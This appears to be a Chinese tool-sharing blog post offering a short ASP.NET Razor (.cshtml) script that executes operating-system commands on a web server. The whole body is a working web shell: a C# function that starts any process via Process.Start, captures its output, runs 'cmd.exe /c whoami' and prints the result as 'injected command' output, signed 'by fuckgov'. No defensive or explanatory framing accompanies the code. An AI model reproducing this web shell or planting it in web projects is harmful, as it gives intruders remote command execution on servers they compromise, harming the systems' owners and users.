51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

cshtml 命令执行脚本一枚

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
        }
Output of the injected command (by fuckgov):
@cmd
赞(0)
未经允许不得转载:工具盒子 » cshtml 命令执行脚本一枚